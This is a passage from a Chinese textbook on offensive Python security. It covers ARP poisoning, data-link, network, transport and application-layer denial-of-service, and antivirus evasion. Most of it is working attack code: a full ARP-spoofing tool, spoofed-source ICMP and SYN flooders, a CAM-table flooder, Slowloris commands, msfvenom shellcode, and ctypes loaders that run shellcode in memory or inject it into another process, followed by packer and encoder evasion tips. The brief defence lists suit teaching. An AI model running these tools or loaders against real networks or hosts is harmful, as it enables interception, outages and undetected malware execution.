#存放本机的MAC地址
lmac = ""
#存放本机的IP地址
lip = ""
#存放存活主机的IP和MAC的字典
liveHost = {}

2）编写获取存活网络中存活主机的IP地址和MAC地址的函数，通过对每一台主机发送ARP数据包并从存活主机的响应包中提取出其IP地址和MAC地址：

#获取存活主机的IP地址和MAC地址的函数
def GetAllMAC():
    #IP扫描列表
    scanList = lip + '/24'
    try:
        #通过对每个IP都进行ARP广播，获得存活主机的MAC地址
        ans,unans = srp(Ether(dst='FF:FF:FF:FF:FF:FF')/ARP(pdst=scanList),
            timeout=2)
    except Exception as e:
        print(e)
    #ARP广播发送完毕后执行
    else:
        #ans包含存活主机返回的响应包和响应内容
        for send,rcv in ans:
            #对响应内容的IP地址和MAC地址进行格式化输出，存入addrList
            addrList = rcv.sprintf('%Ether.src%|%ARP.psrc%')
            #把IP当作KEY，MAC当作VAULE 存入liveHost字典
            liveHost[addrList.split('|')[1]] = addrList.split('|')[0]

3）提取指定IP主机的MAC地址的函数：

# 根据IP地址获取主机的MAC地址
def GetOneMAC(targetIP):
    #若该IP地址存在，则返回MAC地址
    if targetIP in liveHost.keys():
        return liveHost[targetIP]
    else:
        return 0

4）编写ARP毒化函数，对目标主机以及网关不断发送ARP应答包来不断毒化：

#ARP毒化函数，分别写入目标主机IP地址、网关IP地址、网卡接口名
def poison(targetIP,gatewayIP,ifname):
    #获取毒化主机的MAC地址
    targetMAC = GetOneMAC(targetIP)
    #获取网关的MAC地址
    gatewayMAC = GetOneMAC(gatewayIP)
    if targetMAC and gatewayMAC:
        #用while持续毒化
        while True:
            #对目标主机进行毒化

            sendp(Ether(src=lmac,dst=targetMAC)/ARP(hwsrc=lmac,hwdst=target
                MAC,psrc=gatewayIP,pdst=targetIP,op=2),iface=ifname,verbose=False)
            #对网关进行毒化

            sendp(Ether(src=lmac,dst=gatewayMAC)/ARP(hwsrc=lmac,hwdst=
                gatewayMAC,psrc=targetIP,pdst=gatewayIP,op=2),iface=ifname,
                verbose=False)
            time.sleep(1)
    else:
        print("目标主机/网关主机IP有误，请检查!")
        sys.exit(0)

5）编写main函数，添加相关参数以及开启系统路由转发功能：

if __name__ == '__main__':
    parser = optparse.OptionParser('usage:python %prog -r targetIP -g gatewayIP
        -i iface \n\n'
                         'Example: python %prog -r 192.168.1.130 -g 192.168.
                             61.254 -i eth0')
    #添加目标主机参数 -r

    parser.add_option('-r','--rhost',dest='rhost',default='192.168.1.1',type=
        'string',help='target host')
    #添加网关参数 -g

    parser.add_option('-g','--gateway',dest='gateway',default='192.168.1.
        254',type='string',help='target gateway')
    #添加网卡参数 -i

    parser.add_option('-i','--iface',dest='iface',default='eth0',type=
        'string',help='interfaces name')
    (options, args) = parser.parse_args()
    lmac = get_if_hwaddr(options.iface)
    lip = get_if_addr(options.iface)
    print("===开始收集存活主机的IP和MAC===")
    GetAllMAC()
    print("===收集完成===")
    print("===收集数量：{0}===".format(len(liveHost)))
    print("===开启路由转发功能==")
    os.system("echo 1 >> /proc/sys/net/ipv4/ip_forward")
    os.system("sysctl net.ipv4.ip_forward")
    print("===开始进行ARP毒化===")
    try:
        poison(options.rhost,options.gateway,options.iface)
    except KeyboardInterrupt:
        print("===停止ARP毒化===")
        print("===停止路由转发功能===")
        os.system("echo 0 >> /proc/sys/net/ipv4/ip_forward")
        os.system("sysctl net.ipv4.ip_forward")

这样ARP毒化工具就编写好了。测试结果如下所示：

Kali的IP地址为192.168.61.130，MAC地址为00-0c-29-52-af-c6。

网关的IP地址为192.168.61.2，MAC地址为00-50-56-f6-be-69。

目标主机的ARP表毒化前后如图9-12和图9-13所示。

图9-12　ARP毒化前

图9-13　ARP毒化后

此时，可以看到网关的MAC地址跟Kali的MAC地址相同，说明已经完成了对目标主机以及网关的ARP毒化。

9.2.3　防御策略

现在的大部分网络安全机制都是针对外部的攻击，而对内部攻击的防御往往做得并不到位，所以在网络内部进行嗅探和欺骗的成功率会很高。针对ARP毒化的攻击方式，防御策略如下：

·使用安全的协议，对数据进行加密。

·采用静态的ARP表。

·从物理上或逻辑上对网络进行分段。

·将共享式设备换成交换式设备。

9.3　DoS

拒绝服务攻击（Denial of Service，DoS）使计算机或网络无法提供正常的服务，是黑客常用的攻击手段之一。常见的DoS攻击包括计算机网络带宽攻击和连通性攻击两种类型。

带宽攻击是指以极大的通信量冲击网络，使得所有可用网络资源都被消耗殆尽，最后导致合法的用户请求无法通过。

连通性攻击指用大量的连接请求冲击计算机，使得所有可用的操作系统资源都被消耗殆尽，最终导致计算机无法再处理合法的用户请求。常用的拒绝服务攻击手段包括：同步洪流、WinNuke、死亡之PING、Echl攻击、ICMP/SMURF、Finger炸弹、Land攻击、Ping洪流、Rwhod、tearDrop、TARGA3、UDP攻击、OOB等。实际上拒绝服务攻击并不是一个攻击方式，而是指一类具有相似特征的攻击方式。黑客可能会利用TCP/IP协议层中的数据链路层、网络层、传输层和应用层各种协议漏洞发起拒绝服务攻击。本节将通过Python脚本的方式带领大家一起分析以上几种常见的拒绝服务攻击方式。

9.3.1　数据链路层DoS

图9-14　集线器应用原理

数据链路层中拒绝服务攻击的方式一般很少为人所熟知。数据链路层拒绝服务攻击的主要目标为二层交换机。在早期网络中，通常都会使用集线器作为中间处理设备。集线器属于纯硬件网络底层设备，没有任何“智能记忆”能力和“学习”能力，也不具备交换机所具有的MAC地址表，所以集线器发送数据时都是没有针对性的，而是采用广播的方式发送。也就是说当集线器要向某节点发送数据时，不是直接把数据发送到目的节点，而是把数据包发送到与集线器相连的所有节点，如图9-14所示。

当计算机1想要和计算机2通信时，首先计算机1将数据包发给集线器，由集线器负责转发，但是当集线器不清楚哪个接口连接到了计算机2时，便会用广播的方式向其他计算机发送数据包，此时如果网络中计算机设置为混杂模式，同样也会接收到计算机2发送的数据。

交换机相比集线器而言，增加了“智能记忆”能力和“学习”能力，这两个功能主要是通过交换机中的CAM表来实现的，这张表中保存了交换机中的每个接口所连接计算机的MAC地址。

图9-15　交换机应用原理

在应用交换机的局域网环境中，如图9-15所示，计算机1想要和计算机3通信，会先将数据包发送到交换机上，由交换机提取接收到数据包的MAC地址，并查询CAM表。如果在CAM表中检索到了对应的MAC地址信息，就将数据包发送到查询到的MAC地址所对应的接口。如果没有查询到，再将数据包发往所有接口相连接的主机。交换机的这项功能保证了局域网中交换机发送的数据包是以单播形式传送的。但是CAM表是有一定限制的，在短时间内收到大量不同的源MAC地址数据包时，CAM可能因为瞬间无法处理而溢出。溢出之后再次接收到的数据包就会覆盖前面的条目，导致正常的数据包无法找到正确的对应关系，只能将数据包广播出去，路由器的“智能记忆”能力和“学习”能力失效。此时攻击者只需要在自己的计算机上将网卡设置为混杂模式，就能监听整个网络的数据。

综上所述，数据链路层的拒绝服务攻击其实就是通过伪造请求主机的MAC地址信息，使得交换机内部CAM短时间填满，失去交换机本身的记忆功能，退化成集线器，当接收到正常数据包时，会将全部数据以广播的形式发送出去，此时若攻击者将自己的主机设置为混杂模式，就可以监听网络中的其他主机接收的数据了。下面通过Python脚本分析这一功能。

1）构造随机的MAC地址和IP，此处主要是利用Scapy自带的库函数RandMAC（）和RandIP（），如下代码是生成随机的MAC地址：

from scapy.all import *
import time
while(1):
    packet=Ether(src=RandMAC(),dst=RandMAC())
    time.sleep(1)
    print(packet.summary())

执行结果如下所示：

2）当路由器接收到包含随机生成的IP地址和MAC地址的数据包时，交换机查询CAM，若不存在该信息，就会不断进行记录。短时间内，大量请求会导致CAM被填满，失去交换机原有的功能。下面以ICMP数据包为例：

from scapy.all import *
import optparse

def attack(interface):
    pkt=Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/
        ICMP()
    sendp(pkt,iface=interface)
def main():
    parser=optparse.OptionParser("%prog "+"-i interface")

    parser.add_option('-i',dest='interface',default='eth0',type='string',
        help='Interface')
    (options,args)=parser.parse_args()
    interface=options.interface
    try:
        while True:
            attack(interface)
    except KeyboardInterrupt:
        print('-------------')
        print('Finished!')
if __name__=='__main__':
    main()

执行结果如下所示：

9.3.2　网络层DoS

网络层是OSI参考模型中的第三层，介于传输层和数据链路层之间，其目的是实现两个终端系统之间数据的透明传送，具体功能包括：寻址和路由选择、连接的建立、保持和终止等。位于网络层的协议包括ARP、IP和ICMP等。下面就ICMP为例，带领大家一起编写网络层拒绝服务攻击的脚本。

ICMP又称为控制报文协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。通常检测网络连通情况使用的ping指令就属于ICMP，如图9-16所示，当有数据包有返回值时，代表网络连通，否则表示网络中存在故障或不可达。通过ping指令不仅可以查看网络的连通情况，而且可以判定主机类型，根据返回信息进行故障分析等。

通常根据目标主机返回的TTL值确定目标主机的系统信息。TTL是指生存期，也就是所传输的数据在网络上经过的路由器的最大个数。这样可以有效防止垃圾数据占据宝贵的网络带宽。不同的操作系统，返回的TTL值也不相同，UNIX操作系统ICMP回显应答的TTL字段值为255位，Linux操作系统ICMP回显应答的TTL字段值为64位，Windows操作系统ICMP回显应答的TTL字段值为32或128位。如图9-16和图9-17所示，分别为Linux系统和Windows系统返回的信息。

图9-16　目标Linux系统返回信息

图9-17　目标Windows系统返回信息

通过上面简单的介绍，相信读者对ICMP已经有了一个大概的了解。同样，通过ping操作也可以达到拒绝服务攻击的效果，例如“死亡之ping”，该现象的发生是由于早期的操作系统在接收到较大的数据包后，因无法及时处理而宕机，现在的操作系统则不会出现该问题。但是，当控制多个僵尸主机一同向目标主机发送数据时，同样也会出现“死亡之ping”，使目标主机宕机。

下面将带领大家通过Python脚本实现工具的编写，此处依然使用RandIP（）产生随机的源IP地址：

#-*- coding:utf-8 -*-
import sys
from scapy.all import *

def start(argv):
    if len(sys.argv)<2:
        print(sys.argv[0] +"  <target_ip>")
        sys.exit(0)
    while(1):
        pdst = sys.argv[1]
        send(IP(src=RandIP(),dst=pdst)/ICMP())

if __name__ == '__main__':
    #定义异常
    try:
        start(sys.argv[1:])
    except KeyboardInterrupt:
        print("interrupted by user, killing all threads...")

使用Wireshark来捕获发送出去的数据包，如下所示：

可以看出，发送的源IP地址随机变化，目的IP地址固定不变，为192.168.0.105。该地址在收到请求后，由于发送的IP随机变化，虚拟的IP地址未向目标主机发送过请求，故目标主机的通信流量中会存在ARP数据流。

9.3.3　传输层DoS

传输层是国际标准化组织提出的开放系统互联参考模型（OSI）中的第四层。该层协议为网络端点主机上的进程之间提供了可靠、有效的报文传送服务。平时我们所谈论的拒绝服务攻击大多是基于TCP的，因为现实中拒绝服务的对象往往都是提供HTTP服务的服务器。

传输控制协议（Transmission Control Protocol，TCP）是一种面向连接的、可靠的、基于字节流的传输层通信协议。使用三次握手协议建立连接。当源主机发出SYN连接请求后，等待目的主机应答SYN+ACK，并最终对对方的SYN进行ACK确认。这种建立连接的方法可以防止产生错误的连接，TCP使用的流量控制协议是可变大小的滑动窗口协议。其具体的TCP三次握手的过程如下：

1）客户端发送SYN（SEQ=x）报文给服务器端，进入SYN_SEND状态。

2）服务器端收到SYN报文，回应一个SYN（SEQ=y）ACK（ACK=x+1）报文，进入SYN_RECV状态。

3）客户端收到服务器端的SYN报文，回应一个ACK（ACK=y+1）报文，进入Established状态。

图9-18　TCP三次握手

三次握手完成，TCP客户端和服务器端便成功地建立连接，可以开始传输数据了。整个TCP三次握手过程如图9-18所示。

不同于针对ICMP和UDP的拒绝服务攻击，基于TCP的拒绝服务攻击就是利用三次握手过程实现的，一些恶意的攻击者可以向目标发送大量的TCP SYN请求数据包。目标计算机如果接收到大量TCP SYN报文，而没有收到发起者的第三次ACK回应，会一直等待，处于这样尴尬状态的半连接如果很多，则会把目标计算机的资源消耗殆尽（TCP控制结构，一般情况下是有限的），从而影响正常的TCP连接请求。通常将这种攻击方式称为SYN拒绝服务攻击，其具体过程如下所示：

1）攻击者向目标计算机发送一个TCP SYN报文。

2）目标计算机收到这个报文后，建立TCP连接控制结构，并回应一个ACK，等待发起者的回应。

图9-19　半TCP握手

3）发起者则不向目标计算机回应ACK报文，这样导致目标计算机一直处于等待状态。

如图9-19所示为其对应的半TCP握手。

与9.3.2节类似，可以使用随机源IP地址，伪造半TCP握手，对目标主机进行拒绝服务攻击，其详细代码如下所示：

#-*- coding:utf-8 -*-
import sys
from scapy.all import *

def start(argv):
    if len(sys.argv)<2:
        print(sys.argv[0] +"  <target_ip>")
        sys.exit(0)
    while(1):
        pdst = sys.argv[1]
        send(IP(src=RandIP(),dst=pdst)/TCP(dport=443,flags="S"))

if __name__ == '__main__':
    #定义异常
    try:
        start(sys.argv[1:])
    except KeyboardInterrupt:
        print("interrupted by user, killing all threads...")

执行程序，将目标主机IP设定为192.168.0.105，应用Wireshark捕获数据包，执行效果如下所示：

9.3.4　应用层DoS

应用层（application layer）是七层OSI模型的第七层。应用层直接和应用程序对接并提供常见的网络应用服务，能够在实现多个系统应用进程相互通信的同时，完成一系列业务处理所需的服务。位于应用层的协议有很多，常见的包括HTTP、FTP、DNS、DHCP等。其中应用层中的每一个协议都有可能被用来发起拒绝服务攻击。不同于其他层，应用层拒绝服务攻击已经完成了TCP的三次握手，建立起了连接，所以发起攻击的IP地址都是真实的。常见的应用层拒绝服务攻击有CC（Challenge Collapasar）攻击、Slowloris攻击、Server Limit DOS等。下面就这几种常见的攻击进行简单介绍：

·CC攻击：对一些资源消耗（查询数据库、读写硬盘文件等）较大的应用页面不断发起正常的请求，以达到消耗服务资源的目的。

·Slowloris攻击：以极低的速度向服务器发送HTTP请求。由于Web Server对于并发的连接数都有一定的上限，因此若恶意地占用这些连接不释放，那么Web Server的所有连接都将被恶意连接占用，从而无法接受新的请求，导致拒绝服务。

·Server Limit DoS：在发送HTTP POST包时，指定一个非常大的Content-Length值，然后以很低的速度发包，这样当客户端连接数过多以后，占用了Web Server的所有可用连接，从而导致DoS。

本节以Slowloris攻击为例进行详细介绍。Slowloris是在2009年由著名Web安全专家RSnake提出的一种攻击方法，其原理是通过恶意占用有效连接，从而导致无法接受新的请求，达到目标服务器拒绝服务的效果。

HTTP协议，HTTP Request以“\r\n\r\n”结尾表示客户端发送结束，服务器端开始处理。那么，如果永远不发送“\r\n\r\n”会如何？Slowloris就是利用这一点来做DDoS攻击。攻击者在HTTP请求头中将Connection设置为Keep-Alive，要求Web Server保持TCP连接不断开，随后缓慢地每隔几分钟发送一个key-value格式的数据包到服务器端，例如a：b\r\n，导致服务器端认为HTTP头部没有接收完成而一直等待。如果攻击者使用多线程或者僵尸主机来做同样的操作，服务器的Web容器很快就被攻击者占满了TCP连接而不再接受新的请求。不过，Apache官方否认Slowloris的攻击方式是一个漏洞，他们认为这是Web Server的一种特性，通过调整参数能够缓解此类问题，这使得Slowloris攻击今天仍然很有效。

Slowloris有现成的工具脚本，通过pip安装以后就能直接使用。但要在Windows系统下使用slowloris命令时，注意要切换到当前Python环境的Scripts目录，要么将该目录加入环境变量。在Linux系统则可直接使用。

>>> pip3 install slowloris

安装之后可以直接输入slowloris-h命令查看帮助信息，效果如下所示：

通过帮助信息也可以发现Slowloris工具使用起来也很简单，只需要执行如下指令即可：

>>> slowloris ip

但是默认情况下Slowloris有150个连接，效果可能不明显。可以使用-s参数指定连接数，如1500：

>>> slowloris 10.0.2.16 -s 1500

执行效果如下所示：

在Slowloris脚本执行结束后，通过Wireshark捕获流量信息，其捕获效果如图9-20所示，源IP地址为10.0.2.15，目的IP地址为10.0.2.16。

图9-20　Wireshark流量捕获效果

如图9-21所示，通过Wireshark捕获到的流量可以发现，HTTP发送结尾的字符为4026\r\n，这样导致服务器端认为HTTP头部没有接收完成而一直等待。如果多个僵尸主机一同这样操作，很容易就会使目标主机宕机。

图9-21　HTTP发送结尾字符

9.3.5　防御策略

怎么样可以确保在遭受拒绝服务攻击的情况下，让服务器系统正常运行呢？或者如何减轻拒绝服务攻击的危害？下面列出了几个常见的防御策略：

·关闭不需要的服务和端口，实现服务最小化，让服务器提供专门服务。

·安装查杀病毒的软硬件产品，及时更新病毒库。尽量避免因为软件漏洞而引起的拒绝服务，定期扫描现有的主机和网络节点，对安全漏洞和不规范的安全配置进行及时整改，对先前的漏洞及时打补丁。

·经常检测网络和主机的脆弱性，查看网上漏洞数据库，以减少或避免主机成为“肉鸡”的可能性。

·建立多节点的负载均衡，配备高于业务需求的带宽，建立多个网络出口，提高服务器的运算能力。

9.4　小结

本章分别从流量嗅探、ARP毒化和拒绝服务攻击三个方面，分析了漏洞产生的原理、危害和常见的利用方式，最后从代码层面对漏洞利用工具进行编写。流量分析有很多的实际用途，可以根据获取的数据流量对攻击行为、攻击方式、溯源分析等方面进行挖掘。目前很多公司已经有了自己的流量分析设备，例如360的天眼流量分析、中瑞天下的睿眼等。

第10章
Python免杀技术

免杀技术（Anti Anti-Virus，又称反杀毒软件技术，简称“免杀”）是一种使病毒及木马免于杀毒软件查杀的技术。免杀技术中包含的内容很广泛，如汇编、逆向、系统漏洞等，主要思路是通过修改木马及病毒的特征，包括代码特征、行为特征，从而躲避杀毒软件的查杀。本章将介绍Python的免杀技术，主要内容包括：

·shellcode生成。

·shellcode的加载与执行。

·常见的免杀方法。

·防御策略。

10.1　生成shellcode

在漏洞利用中，shellcode是不可或缺的部分，所以在网上有许多公开分享的shellcode，在不同平台上并不通用，需要选择适合的shellcode。这里推荐两个常见公开的安全平台：一个为公开的漏洞库exploit-db（见公众号链接10-1），一个为公开的Shell-strom库（见公众号链接10-2），如图10-1和图10-2所示。

图10-1　exploit-db公开漏洞库

图10-2　Shell-storm公开库

此外，还可以通过软件获取shellcode。这里选用渗透场景中出现频率较高的Metasploit来进行shellcode生成。在配置好Metasploit的环境中直接输入msfvenom，如下所示：

进入msfvenom模块后，有许多选项供选择，这里选用-L选项可以查看所有的Payload等信息，如下所示：

这里选择windows/x64/exec模块，设置接收值为calc.exe，选择-f选项指定生成脚本为Python脚本的shellcode，如下所示：

10.2　shellcode的加载与执行

shellcode是一段利用软件漏洞来执行的代码，为十六进制的机器码，因为经常让攻击者获得shell而得名。shellcode常用机器语言编写，可在寄存器eip溢出后，载入一段可让CPU执行的shellcode机器码，让计算机可以执行任意指令。

由于Python是一种较新的语言，并且现在多数杀毒厂商的软件对于Python文件的查杀技术还不完善，因此多数Python文件都是可以做到免杀的，所以在shellcode的使用中Python也较为常见。下面讲解两种用Python加载的shellcode方法。

1.内存加载shellcode

首先通过下列命令生成一个shellcode。使用msfvenom-p选项来指定payload，这里选用了windows/项4/exec模块接收的参数。使用calc.exe执行弹出计算器的操作。-f选项用来指定生成的shellcode的编译语言。如下所示：

msfvenom -p windows/x64/exec CMD='calc.exe' -f py

执行效果如下。

具体实现步骤如下。

1）导入模块，并给程序分配内存后可进行读写操作。这里用到的模块有sys和ctypes模块：

from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040  # 区域可执行代码，可读可写
MEM_COMMIT = 0x3000  # 分配内存
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )  #给予进程所有权限

2）调用windows api，以便后续进行调用。Windows中有很多内置的API，在执行shellcode时需要调用相关的API函数，在免杀过程中，许多杀毒软件会监控Windows的API，调用一些底层函数，或者少见的API函数，就可以绕过杀毒软件的API监测：

# windows api
VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread

3）将前面生成的shellcode赋值给shellcode参数，赋值前使用bytearray函数处理：

shellcode = bytearray(
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
    b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
    b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
    b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
    b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
    b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
    b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
    b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
    b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
    b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
    b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
    b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
    b"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
    b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
    b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
    b"\x63\x2e\x65\x78\x65\x00"
)

4）创建一个方法并调用，申请内存，将shellcode指向分配的内存指针，再复制shellcode到内存中，创建线程事件并执行：

def run1():
    VirtualAlloc.restype = ctypes.c_void_p  # 重载函数返回类型为void
    p = VirtualAlloc(c_int(0), c_int(len(shellcode)), MEM_COMMIT, PAGE_
        EXECUTE_READWRITE)       # 申请内存
    buf = (c_char * len(shellcode)).from_buffer(shellcode)     # 将shellcode指向
     # 指针
    RtlMoveMemory(c_void_p(p), buf, c_int(len(shellcode)))     # 复制shellcode到
     # 申请的内存中
    h = CreateThread(c_int(0), c_int(0), c_void_p(p), c_int(0), c_int(0),
        pointer(c_int(0)))       # 执行创建线程
WaitForSingleObject(c_int(h), c_int(-1))     # 检测线程创建事件
if __name__ == "__main__":
run1()

5）运行后可以成功弹出计算器，如图10-3所示，但这还没有结束，如果目标机器中没有Python环境，shellcode便无法执行。

图10-3　用shellcode弹出计算器

6）根据脚本生成一个exe文件，使用Python的pyinstaller生成pyinstaller-F 1.py，如下所示：

运行exe文件也成功了，如图10-4所示。

图10-4　运行exe文件

2.进程注入shellcode

输入下列命令可以生成shellcode。跟上面一样，使用-p选定exec的模块，接受参数值为calc.exe，设置EXITFUNC参数值为thread，拉起子线程并在子线程中运行shellcode。-f用于指定生成的shellcode为Python编码：

msfvenom -p windows/exec CMD='calc.exe' EXITFUNC=thread -f py

执行效果如下所示。

具体步骤如下：

1）导入模块，分配内存并给予权限，调用ctypes和sys模块：

from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040     # 区域可执行代码，可读可写
MEM_COMMIT = 0x3000                 # 分配内存
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )  #给予进程所有权限

2）调用windows api，以便后续调用，通过调用windows api执行shellcode中的内容：

# windows api
VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread

3）赋值shellcode，这里使用另一种赋值方式：

shellcode1 =  b""
shellcode1 += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
shellcode1 += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
shellcode1 += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
shellcode1 += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
shellcode1 += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
shellcode1 += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
shellcode1 += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
shellcode1 += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
shellcode1 += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
shellcode1 += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
shellcode1 += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
shellcode1 += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
shellcode1 += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
shellcode1 += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
shellcode1 += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
shellcode1 += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
shellcode1 += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
shellcode1 += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41"
shellcode1 += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
shellcode1 += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
shellcode1 += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
shellcode1 += b"\x78\x65\x00"

4）创建一个方法run，用接收的pid号进行进程注入，调用之前复制的api，通过将shellcode注入pid进程中以完成攻击：

def run2(pid):
    h_process = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    if h_process:
        p = VirtualAllocEx(h_process, c_int(0), c_int(len(shellcode1)), MEM_
            COMMIT, PAGE_EXECUTE_READWRITE)
        WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCVOID, c_size_t,
            POINTER(c_size_t)]
        WriteProcessMemory.restype = BOOL
        buf = create_string_buffer(shellcode1)
        WriteProcessMemory(h_process, p, shellcode1, sizeof(buf), byref(c_
            size_t(0)))
    else:
        print("无法打开进程pid: %s" % pid)
        sys.exit()

CreateRemoteThread(h_process, None, c_int(0), p, None, 0, byref(c_ulong(0)))

if __name__ == "__main__":
run2(int(sys.argv[1]))

5）运行之前，在任务管理器里找一个被注入的进程的pid号，这里选用桌面进程pid为6828，如图10-5所示。

图10-5　选用桌面进程pid

6）成功弹出计算器程序。将代码用同样的方法，使用Python的pyinstaller生成exe文件后，仍然可以运行，如图10-6所示。

图10-6　弹出计算器程序

10.3　常见的免杀方式

10.1节介绍了通过msfvenom生成shellcode，并通过Python程序加载执行，又介绍了如何将Python的.py文件生成为exe文件。使用pyinstaller生成的可执行文件本身就具有一定的免杀能力，但是在与杀毒软件对抗时，部分杀毒软件也可以通过分析可执行文件的内容来判断文件是否为恶意程序，导致这些代码仍然具有被杀的可能。

对于用msfvenom生成的shellcode，在生成时可以通过参数将shellcode优化，使用-b选项禁止生成的shellcode中出现易被杀毒软件检测的字符，如图10-7所示。

图10-7　优化shellcode

除此之外，还可以使用msfvenom的-e选项选择相应的编码器，对shellcode进行编码处理，如图10-8所示。

通过这种方式对脚本的源代码进行混淆后，可有效避免部分杀毒软件的查杀。与此同时，可以将shellcode的顺序打乱，增加查杀难度。

除了在代码层上对脚本进行优化外，还有其他免杀方式，比如通过加壳进行免杀。

什么是壳？壳的全称是“可执行程序资源压缩”，压缩后的程序可以直接打开。除此之外，另一种常见的加壳方式就是在二进制程序中植入一段代码，在主程序运行前优先获得程序控制权，之后再将控制权交给主程序代码。这样能够有效地隐藏程序的入口点（OEP）。我们需要使用的便是加壳后隐藏OEP的功能，以达到免杀效果。大多数的病毒制作也都是使用了这个方法。多数壳对于程序的原始二进制文件内容还会进行加密、混淆。免费的壳免杀效果相对商业壳来说还是有一定的差距，但要初步做到免杀，使用免费壳即可。此外，还有一些第三方的免杀工具也可以利用，比如：

·Veil工具，可以生成基于C、Go、Ruby、Python、C#、Perl、Powershell等格式的Payload。该工具是采用Python语言编写的免杀框架，能够将任意shellcode编译转化成Windows的可执行文件，并且可以与Metasploit相结合。

图10-8　选择编码器

·Venom工具，利用msfvenom生成不同格式的shellcode，如C、Python、Ruby、DLL、MSI、hta-psh等，然后将生成的shellcode注入程序中，并使用类似gcc、mingw32或pyinstaller等编译器生成Windows系统下的Payload文件。

·Shellter工具，安装非常简单，使用也非常便捷，而且生成的Payload免杀效果也比较好，Windows和Linux下都可以使用。可以使用自动配置和手动配置两种模式，手动配置生成的Payload免杀效果会更好。

